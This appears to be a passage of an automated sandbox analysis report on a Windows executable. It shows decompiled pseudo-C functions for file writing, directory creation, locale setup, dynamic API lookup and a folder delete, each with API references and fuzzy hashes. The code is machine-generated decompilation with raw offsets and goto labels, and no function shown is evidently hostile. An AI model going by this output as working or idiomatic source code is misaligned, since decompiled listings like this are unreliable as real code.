				int _t28;
				intOrPtr _t31;
				long _t36;
				int _t39;
				void* _t43;
				intOrPtr* _t49;
				intOrPtr* _t50;
				void* _t58;
				intOrPtr _t62;
				void* _t66;
				long _t68;

				_t58 = __edx;
				_t68 = _a8;
				_t49 = _t50;
				if(_t68 != 0) {
					if( *((intOrPtr*)(_t49 + 0xc)) == 1) {
						 *(_t49 + 4) = GetStdHandle(0xfffffff5);
					}
					while(1) {
						do {
							_v8 = _v8 & 0x00000000;
							_v4 = 0;
							if( *((intOrPtr*)(_t49 + 0xc)) == 0) {
								_t28 = WriteFile( *(_t49 + 4), _a4, _t68,  &_v8, 0); // executed
								asm("sbb al, al");
								_t31 =  ~(_t28 - 1) + 1;
								_v4 = _t31;
								L14:
								if(_t31 != 0) {
									L22:
									 *((char*)(_t49 + 8)) = 1;
									return _v4;
								}
								L15:
								if( *((char*)(_t49 + 0x14)) == 0 ||  *((intOrPtr*)(_t49 + 0xc)) != 0) {
									goto L22;
								} else {
									_t65 = _t49 + 0x1e;
									if(E010F6DAD(0x112ff50, _t49 + 0x1e, 0) == 0) {
										E010F6FF6(0x112ff50, _t68, 0, _t65);
										goto L22;
									}
									goto L18;
								}
							}
							_t66 = 0;
							if(_t68 == 0) {
								goto L15;
							} else {
								goto L8;
							}
							while(1) {
								L8:
								_t36 = _t68 - _t66;
								if(_t36 >= 0x4000) {
									_t36 = 0x4000;
								}
								_t39 = WriteFile( *(_t49 + 4), _a4 + _t66, _t36,  &_v8, 0);
								asm("sbb al, al");
								_t31 =  ~(_t39 - 1) + 1;
								_v4 = _t31;
								if(_t31 == 0) {
									goto L15;
								}
								_t66 = _t66 + 0x4000;
								if(_t66 < _t68) {
									continue;
								}
								goto L14;
							}
							goto L15;
							L18:
						} while (_v8 >= _t68 || _v8 <= 0);
						_t62 =  *_t49;
						 *0x1122260(0);
						_t43 =  *((intOrPtr*)( *((intOrPtr*)(_t62 + 0x14))))();
						asm("sbb edx, 0x0");
						 *0x1122260(_t43 - _v8, _t58);
						 *((intOrPtr*)(_t62 + 0x10))();
					}
				}
				return 1;
			}

0x010f9e6f
0x010f9e73
0x010f9e77
0x010f9e7b
0x010f9e88
0x010f9e92
0x010f9e92
0x010f9e97
0x010f9e9c
0x010f9e9c
0x010f9ea5
0x010f9eaa
0x010f9ef8
0x010f9f01
0x010f9f03
0x010f9f05
0x010f9f09
0x010f9f0b
0x010f9f7e
0x010f9f83
0x00000000
0x010f9f87
0x010f9f0d
0x010f9f11
0x00000000
0x010f9f19
0x010f9f1b
0x010f9f2b
0x010f9f79
0x00000000
0x010f9f79
0x00000000
0x010f9f2b
0x010f9f11
0x010f9eac
0x010f9eb0
0x00000000
0x00000000
0x00000000
0x00000000
0x010f9eb2
0x010f9eb2
0x010f9eb4
0x010f9eb8
0x010f9eba
0x010f9eba
0x010f9ece
0x010f9ed7
0x010f9ed9
0x010f9edb
0x010f9edf
0x00000000
0x00000000
0x010f9ee1
0x010f9ee5
0x00000000
0x00000000
0x00000000
0x010f9ee7
0x00000000
0x010f9f2d
0x010f9f2d
0x010f9f42
0x010f9f4b
0x010f9f53
0x010f9f5c
0x010f9f61
0x010f9f69
0x010f9f69
0x010f9e97
0x00000000

APIs

GetStdHandle.KERNEL32(000000F5,?,00000001,?,?,010FCBD4,00000001,?,?,?,00000000,01104E3D,?,?,?), ref: 010F9E8C
WriteFile.KERNEL32(?,?,?,00000000,00000000,?,?,00000000,01104E3D,?,?,?,?,?,011048E2,?), ref: 010F9ECE
WriteFile.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000001,?,?,010FCBD4,00000001,?,?), ref: 010F9EF8

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: a178c620706e92104e1c31a8cb11bf67bab53763240c645245a39679cb2e7f43
Instruction ID: ed8c830c812a2cf46d97f17d3aea3db8ee2bc5450772f6d96707d81d3892c403
Opcode Fuzzy Hash: a178c620706e92104e1c31a8cb11bf67bab53763240c645245a39679cb2e7f43
Instruction Fuzzy Hash: F23146712083029BDB248F28D909B6ABBA8EB80718F04455DFA859B591C775D84CCBB2

Uniqueness

Uniqueness Score: -1.00%

Function 010FA147, Relevance: 4.6, APIs: 3, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010FA147(void* __ecx, void* __eflags, WCHAR* _a4, char _a8, intOrPtr _a12) {
				short _v4100;
				signed int _t8;
				long _t10;
				void* _t11;
				int _t18;
				WCHAR* _t21;

				E0110E1C0();
				_t21 = _a4;
				_t8 =  *(E010FBBA9(__eflags, _t21)) & 0x0000ffff;
				if(_t8 == 0x2e || _t8 == 0x20) {
					L3:
					if(E010FA0C0(_t21) != 0 || E010FB5AC(_t21,  &_v4100, 0x800) == 0 || CreateDirectoryW( &_v4100, 0) == 0) {
						_t10 = GetLastError();
						__eflags = _t10 - 2;
						if(_t10 == 2) {
							L12:
							_t11 = 2;
						} else {
							__eflags = _t10 - 3;
							if(_t10 == 3) {
								goto L12;
							} else {
								_t11 = 1;
							}
						}
					} else {
						goto L6;
					}
				} else {
					_t18 = CreateDirectoryW(_t21, 0); // executed
					if(_t18 != 0) {
						L6:
						if(_a8 != 0) {
							E010FA384(_t21, _a12); // executed
						}
						_t11 = 0;
					} else {
						goto L3;
					}
				}
				return _t11;
			}

0x010fa14f
0x010fa155
0x010fa15e
0x010fa164
0x010fa178
0x010fa180
0x010fa1be
0x010fa1c4
0x010fa1c7
0x010fa1d3
0x010fa1d5
0x010fa1c9
0x010fa1c9
0x010fa1cc
0x00000000
0x010fa1ce
0x010fa1d0
0x010fa1d0
0x010fa1cc
0x00000000
0x00000000
0x00000000
0x010fa16b
0x010fa16e
0x010fa176
0x010fa1ab
0x010fa1af
0x010fa1b5
0x010fa1b5
0x010fa1ba
0x00000000
0x00000000
0x00000000
0x010fa176
0x010fa1da

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,010FA053,?,00000001,00000000,?,?), ref: 010FA16E
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,010FA053,?,00000001,00000000,?,?), ref: 010FA1A1
GetLastError.KERNEL32(?,?,?,?,010FA053,?,00000001,00000000,?,?), ref: 010FA1BE

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: 50a094b629408a74d50e6939549847daabb21f365c8678a3dcfe5154144a1701
Instruction ID: 4c1a8786a53e3f429fa47ffe7141a97e88d656d3864d3ab6560b03eb9e90b220
Opcode Fuzzy Hash: 50a094b629408a74d50e6939549847daabb21f365c8678a3dcfe5154144a1701
Instruction Fuzzy Hash: 8401F531750115E6FB729A688C07BEE3B9DBF052C1F054499FFC8D3880D7688580D6B5

Uniqueness

Uniqueness Score: -1.00%

Function 0110D163, Relevance: 4.5, APIs: 3, Instructions: 25
synchronizationwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110D163(void* _a4) {
				struct tagMSG _v32;
				long _t4;

				_t4 = WaitForSingleObject(_a4, 0xa);
				while(_t4 == 0x102) {
					PeekMessageW( &_v32, 0, 0, 0, 1); // executed
					_t4 = WaitForSingleObject(_a4, 0xa);
				}
				return _t4;
			}

0x0110d16f
0x0110d199
0x0110d188
0x0110d193
0x0110d193
0x0110d1a1

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 0110D16F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0110D188
WaitForSingleObject.KERNEL32(?,0000000A), ref: 0110D193

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ObjectSingleWait$MessagePeek
String ID:
API String ID: 1965964400-0
Opcode ID: 0271d78c31c55da8a1bf78df52f463b4d2127d326b48d462d82fc7b583a9d621
Instruction ID: 427065ad9dd2f3fe46cf4c5ee4bb91aed728b09fbf3408d7934bc76fc8cce754
Opcode Fuzzy Hash: 0271d78c31c55da8a1bf78df52f463b4d2127d326b48d462d82fc7b583a9d621
Instruction Fuzzy Hash: C7E0D831B4030477DA351E94DC0AF8E7B2BA754B01F004022F701990D4C7F14491C795

Uniqueness

Uniqueness Score: -1.00%

Function 0111AE73, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0111AE73(void* __ebx, signed int __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				char _v264;
				char _v520;
				char _v776;
				char _v1800;
				char _v1814;
				struct _cpinfo _v1820;
				intOrPtr _v1824;
				signed int _v1828;
				signed int _t63;
				void* _t67;
				signed int _t68;
				intOrPtr _t69;
				void* _t72;
				char _t73;
				char _t74;
				signed char _t75;
				signed int _t76;
				signed char _t86;
				char _t87;
				char _t90;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				void* _t96;
				char* _t97;
				intOrPtr _t101;
				signed int _t102;

				_t95 = __edx;
				_t63 =  *0x112d668; // 0xf5f1ec05
				_v8 = _t63 ^ _t102;
				_t101 = _a4;
				_t4 = _t101 + 4; // 0x5efc4d8b
				if(GetCPInfo( *_t4,  &_v1820) == 0) {
					_t47 = _t101 + 0x119; // 0x111b4c6
					_t96 = _t47;
					_t90 = 0;
					_t67 = 0xffffff9f;
					_t68 = _t67 - _t96;
					__eflags = _t68;
					_v1828 = _t68;
					do {
						_t97 = _t96 + _t90;
						_t69 = _t68 + _t97;
						_v1824 = _t69;
						__eflags = _t69 + 0x20 - 0x19;
						if(_t69 + 0x20 > 0x19) {
							__eflags = _v1824 - 0x19;
							if(_v1824 > 0x19) {
								 *_t97 = 0;
							} else {
								_t72 = _t101 + _t90;
								_t57 = _t72 + 0x19;
								 *_t57 =  *(_t72 + 0x19) | 0x00000020;
								__eflags =  *_t57;
								_t59 = _t90 - 0x20; // -32
								_t73 = _t59;
								goto L24;
							}
						} else {
							 *(_t101 + _t90 + 0x19) =  *(_t101 + _t90 + 0x19) | 0x00000010;
							_t54 = _t90 + 0x20; // 0x20
							_t73 = _t54;
							L24:
							 *_t97 = _t73;
						}
						_t68 = _v1828;
						_t61 = _t101 + 0x119; // 0x111b4c6
						_t96 = _t61;
						_t90 = _t90 + 1;
						__eflags = _t90 - 0x100;
					} while (_t90 < 0x100);
				} else {
					_t74 = 0;
					do {
						 *((char*)(_t102 + _t74 - 0x104)) = _t74;
						_t74 = _t74 + 1;
					} while (_t74 < 0x100);
					_t75 = _v1814;
					_t93 =  &_v1814;
					_v264 = 0x20;
					while(1) {
						_t108 = _t75;
						if(_t75 == 0) {
							break;
						}
						_t95 =  *(_t93 + 1) & 0x000000ff;
						_t76 = _t75 & 0x000000ff;
						while(1) {
							__eflags = _t76 - _t95;
							if(_t76 > _t95) {
								break;
							}
							__eflags = _t76 - 0x100;
							if(_t76 < 0x100) {
								 *((char*)(_t102 + _t76 - 0x104)) = 0x20;
								_t76 = _t76 + 1;
								__eflags = _t76;
								continue;
							}
							break;
						}
						_t93 = _t93 + 2;
						__eflags = _t93;
						_t75 =  *_t93;
					}
					_t13 = _t101 + 4; // 0x5efc4d8b
					E0111BF68(0, _t95, 0x100, _t101, _t108, 0, 1,  &_v264, 0x100,  &_v1800,  *_t13, 0);
					_t16 = _t101 + 4; // 0x5efc4d8b
					_t19 = _t101 + 0x21c; // 0xdb855708
					E0111A0F5(0x100, _t101, _t108, 0,  *_t19, 0x100,  &_v264, 0x100,  &_v520, 0x100,  *_t16, 0); // executed
					_t21 = _t101 + 4; // 0x5efc4d8b
					_t23 = _t101 + 0x21c; // 0xdb855708
					E0111A0F5(0x100, _t101, _t108, 0,  *_t23, 0x200,  &_v264, 0x100,  &_v776, 0x100,  *_t21, 0);
					_t94 = 0;
					do {
						_t86 =  *(_t102 + _t94 * 2 - 0x704) & 0x0000ffff;
						if((_t86 & 0x00000001) == 0) {
							__eflags = _t86 & 0x00000002;
							if((_t86 & 0x00000002) == 0) {
								 *((char*)(_t101 + _t94 + 0x119)) = 0;
							} else {
								_t37 = _t101 + _t94 + 0x19;
								 *_t37 =  *(_t101 + _t94 + 0x19) | 0x00000020;
								__eflags =  *_t37;
								_t87 =  *((intOrPtr*)(_t102 + _t94 - 0x304));
								goto L15;
							}
						} else {
							 *(_t101 + _t94 + 0x19) =  *(_t101 + _t94 + 0x19) | 0x00000010;
							_t87 =  *((intOrPtr*)(_t102 + _t94 - 0x204));
							L15:
							 *((char*)(_t101 + _t94 + 0x119)) = _t87;
						}
						_t94 = _t94 + 1;
					} while (_t94 < 0x100);
				}
				return E0110EA8A(_v8 ^ _t102);
			}

0x0111ae73
0x0111ae7e
0x0111ae85
0x0111ae8a
0x0111ae95
0x0111aea7
0x0111af9f
0x0111af9f
0x0111afa5
0x0111afa7
0x0111afa8
0x0111afa8
0x0111afaa
0x0111afb0
0x0111afb0
0x0111afb2
0x0111afb4
0x0111afbd
0x0111afc0
0x0111afcc
0x0111afd3
0x0111afe3
0x0111afd5
0x0111afd5
0x0111afd8
0x0111afd8
0x0111afd8
0x0111afdc
0x0111afdc
0x00000000
0x0111afdc
0x0111afc2
0x0111afc2
0x0111afc7
0x0111afc7
0x0111afdf
0x0111afdf
0x0111afdf
0x0111afe5
0x0111afeb
0x0111afeb
0x0111aff1
0x0111aff2
0x0111aff2
0x0111aead
0x0111aead
0x0111aeaf
0x0111aeaf
0x0111aeb6
0x0111aeb7
0x0111aebb
0x0111aec1
0x0111aec7
0x0111aeef
0x0111aeef
0x0111aef1
0x00000000
0x00000000
0x0111aed0
0x0111aed4
0x0111aee6
0x0111aee6
0x0111aee8
0x00000000
0x00000000
0x0111aed9
0x0111aedb
0x0111aedd
0x0111aee5
0x0111aee5
0x00000000
0x0111aee5
0x00000000
0x0111aedb
0x0111aeea
0x0111aeea
0x0111aeed
0x0111aeed
0x0111aef4
0x0111af09
0x0111af0f
0x0111af23
0x0111af2a
0x0111af39
0x0111af4b
0x0111af52
0x0111af5a
0x0111af5c
0x0111af5c
0x0111af66
0x0111af76
0x0111af78
0x0111af8f
0x0111af7a
0x0111af7a
0x0111af7a
0x0111af7a
0x0111af7f
0x00000000
0x0111af7f
0x0111af68
0x0111af68
0x0111af6d
0x0111af86
0x0111af86
0x0111af86
0x0111af96
0x0111af97
0x0111af9b
0x0111b006

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0111AE98

Strings

, xrefs: 0111AEDD

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 2a2d38f5cb0729b5c52b0d7634683bfecf06091aa4106a0f45c65dd803cf80e3
Instruction ID: fe5de03a1986f5723d4dec3bc2ffa7b9010d9f08bac5d52d7bdfd0af4568bf9e
Opcode Fuzzy Hash: 2a2d38f5cb0729b5c52b0d7634683bfecf06091aa4106a0f45c65dd803cf80e3
Instruction Fuzzy Hash: B9415DB05052D99EDB2A8E68DC44AFAFFB9DF05304F1404FCE58A87186D3359A45CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0111A5AC, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E0111A5AC(void* __ecx, void* __esi, void* __eflags, intOrPtr _a4, int _a8, short* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _t18;
				intOrPtr* _t20;
				intOrPtr* _t31;
				signed int _t33;

				_t26 = __ecx;
				_push(__ecx);
				_t18 =  *0x112d668; // 0xf5f1ec05
				_v8 = _t18 ^ _t33;
				_push(__esi);
				_t20 = E0111A2D8(0x16, "LCMapStringEx", 0x1126354, "LCMapStringEx"); // executed
				_t31 = _t20;
				if(_t31 == 0) {
					LCMapStringW(E0111A634(_t26, _t31, __eflags, _a4, 0), _a8, _a12, _a16, _a20, _a24);
				} else {
					 *0x1122260(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
					 *_t31();
				}
				return E0110EA8A(_v8 ^ _t33);
			}

0x0111a5ac
0x0111a5b1
0x0111a5b2
0x0111a5b9
0x0111a5bc
0x0111a5ce
0x0111a5d3
0x0111a5da
0x0111a61d
0x0111a5dc
0x0111a5f9
0x0111a5ff
0x0111a5ff
0x0111a631

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,7FE85006,00000001,?,000000FF), ref: 0111A61D

Strings

LCMapStringEx, xrefs: 0111A5BD, 0111A5C7

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 42a3209e6216aa43ded9d033eb1e792208ac3cca8a53669a512ba35c5ed4804c
Instruction ID: 3239104c70296909a773ffc5ab8fea5e180658cb937cb949524736273965e5e6
Opcode Fuzzy Hash: 42a3209e6216aa43ded9d033eb1e792208ac3cca8a53669a512ba35c5ed4804c
Instruction Fuzzy Hash: C4011332545219BBCF2A5F91EC01DEE7F62EF4C724F044528FE1826160C7728971EB80

Uniqueness

Uniqueness Score: -1.00%

Function 0110A4C4, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110A4C4(void* __edi) {
				struct _SHFILEOPSTRUCTW _v36;
				char _v4136;
				int _t14;
				short _t22;
				void* _t30;

				E0110E1C0();
				_t33 =  *0x113846a;
				if( *0x113846a != 0) {
					_t14 = E0110172A(_t33, E010FBBC5(_t33, 0x113846a),  *0x112d5f8, 6);
					if(_t14 == 0) {
						E0110A2A0("C:\Users\jones\Desktop");
						E010FFD96( &_v4136, 0x113846a, 0x800);
						 *((short*)(_t30 + E011133F3( &_v4136) * 2 - 0x1022)) = 0;
						E0110F1A0(__edi,  &_v36, 0, 0x1e);
						_v36.wFunc = 3;
						_t22 = 0x14;
						_v36.fFlags = _t22;
						_v36.pFrom =  &_v4136;
						_t14 = SHFileOperationW( &_v36); // executed
					}
					return _t14;
				}
				return 0x1024;
			}

0x0110a4cc
0x0110a4d1
0x0110a4d9
0x0110a4f4
0x0110a4fb
0x0110a502
0x0110a514
0x0110a52a
0x0110a536
0x0110a53e
0x0110a547
0x0110a548
0x0110a552
0x0110a559
0x0110a559
0x00000000
0x0110a55f
0x0110a563

APIs

Part of subcall function 0110172A: CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,?,00000000,?,010FAE1B,?,?,00000000,?,?,?), ref: 0110177C

Part of subcall function 0110A2A0: SetCurrentDirectoryW.KERNELBASE(?,0110A507,C:\Users\user\Desktop,00000000,0113846A,00000006), ref: 0110A2A4

SHFileOperationW.SHELL32(?,?,?,?,?,0113846A,00000006), ref: 0110A559

Strings

C:\Users\user\Desktop, xrefs: 0110A4FD

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: CompareCurrentDirectoryFileOperationString
String ID: C:\Users\user\Desktop
API String ID: 3543741193-224404859
Opcode ID: 5d6afd067e7f6bd64eb18c1aa444aa94d20dfde995a0e314890ed379e835451a
Instruction ID: 743541fc9ebe9b5bd6f1fe73b0699b5e07870a9629c8a430b9e0053f831a3c1a
Opcode Fuzzy Hash: 5d6afd067e7f6bd64eb18c1aa444aa94d20dfde995a0e314890ed379e835451a
Instruction Fuzzy Hash: 12017571D0031EA6DB26ABA4EC0AEDE77BCAF18314F000569E654E31C4E7F596848B95

Uniqueness

Uniqueness Score: -1.00%

Function 0111A54A, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E0111A54A(void* __ecx, void* __esi, void* __eflags, struct _CRITICAL_SECTION* _a4, long _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _t8;
				intOrPtr* _t10;
				intOrPtr* _t20;
				signed int _t22;

				_push(__ecx);
				_t8 =  *0x112d668; // 0xf5f1ec05
				_v8 = _t8 ^ _t22;
				_t10 = E0111A2D8(0x14, "InitializeCriticalSectionEx", 0x112634c, 0x1126354); // executed
				_t20 = _t10;
				if(_t20 == 0) {
					InitializeCriticalSectionAndSpinCount(_a4, _a8);
				} else {
					 *0x1122260(_a4, _a8, _a12);
					 *_t20();
				}
				return E0110EA8A(_v8 ^ _t22);
			}

0x0111a54f
0x0111a550
0x0111a557
0x0111a56c
0x0111a571
0x0111a578
0x0111a595
0x0111a57a
0x0111a585
0x0111a58b
0x0111a58b
0x0111a5a9

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,01119BAF), ref: 0111A595

Strings

InitializeCriticalSectionEx, xrefs: 0111A565

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 8d2e92eaf2d862ebfbd18c2eb65a1a312dceaa82dd86cef96ea9cab71a86d0be
Instruction ID: 941e4d30fbb3766fe5e10ab8eb9d117a9794e3fdaa3901070be001719559d5c8
Opcode Fuzzy Hash: 8d2e92eaf2d862ebfbd18c2eb65a1a312dceaa82dd86cef96ea9cab71a86d0be
Instruction Fuzzy Hash: EBF0B43164621CFBCB2D6F51EC01DAEBF61EF08720B414128FD182B154DB724A60DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0111A3EF, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E0111A3EF(void* __ecx, void* __esi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				signed int _t4;
				intOrPtr* _t6;
				intOrPtr* _t16;
				signed int _t18;

				_push(__ecx);
				_t4 =  *0x112d668; // 0xf5f1ec05
				_v8 = _t4 ^ _t18;
				_t6 = E0111A2D8(3, "FlsAlloc", 0x1126310, 0x1126318); // executed
				_t16 = _t6;
				if(_t16 == 0) {
					TlsAlloc();
				} else {
					 *0x1122260(_a4);
					 *_t16();
				}
				return E0110EA8A(_v8 ^ _t18);
			}

0x0111a3f4
0x0111a3f5
0x0111a3fc
0x0111a411
0x0111a416
0x0111a41d
0x0111a42e
0x0111a41f
0x0111a424
0x0111a42a
0x0111a42a
0x0111a442

APIs

TlsAlloc.KERNEL32 ref: 0111A42E

Strings

FlsAlloc, xrefs: 0111A40A

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: bb80c89e76f9d23f3515dc88cb81a5e4c36c7896f9a441a557580bed45aea6aa
Instruction ID: 67692eeab7fdec34e758e0bc821d82c4804df90ef41f6f2e3c9ad97230bc4354
Opcode Fuzzy Hash: bb80c89e76f9d23f3515dc88cb81a5e4c36c7896f9a441a557580bed45aea6aa
Instruction Fuzzy Hash: E1E05530A86228FFC23D6FA1AC05EAEBF60DF08610B0000B9FC0923241CF710A6087C5

Uniqueness

Uniqueness Score: -1.00%

Function 011130D7, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E011130D7(void* __eflags, intOrPtr _a4) {
				intOrPtr* _t2;
				intOrPtr* _t6;

				_t2 = E01112FB6(4, "FlsAlloc", 0x1124664, "FlsAlloc"); // executed
				_t6 = _t2;
				if(_t6 == 0) {
					return TlsAlloc();
				}
				L0110EB4C();
				return  *_t6(_a4);
			}

0x011130ec
0x011130f1
0x011130f8
0x0111310b
0x0111310b
0x011130ff
0x01113108

APIs

try_get_function.LIBVCRUNTIME ref: 011130EC

Strings

FlsAlloc, xrefs: 011130DB, 011130E5

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: c5a2a379935e1fb7102d503b163d6b100fcc161d7fcde753fb1b7cf34d030661
Instruction ID: 408a4ce4461639949974621c1cf8b6ee75b37be584dd7e0bfd03c2e71458a14e
Opcode Fuzzy Hash: c5a2a379935e1fb7102d503b163d6b100fcc161d7fcde753fb1b7cf34d030661
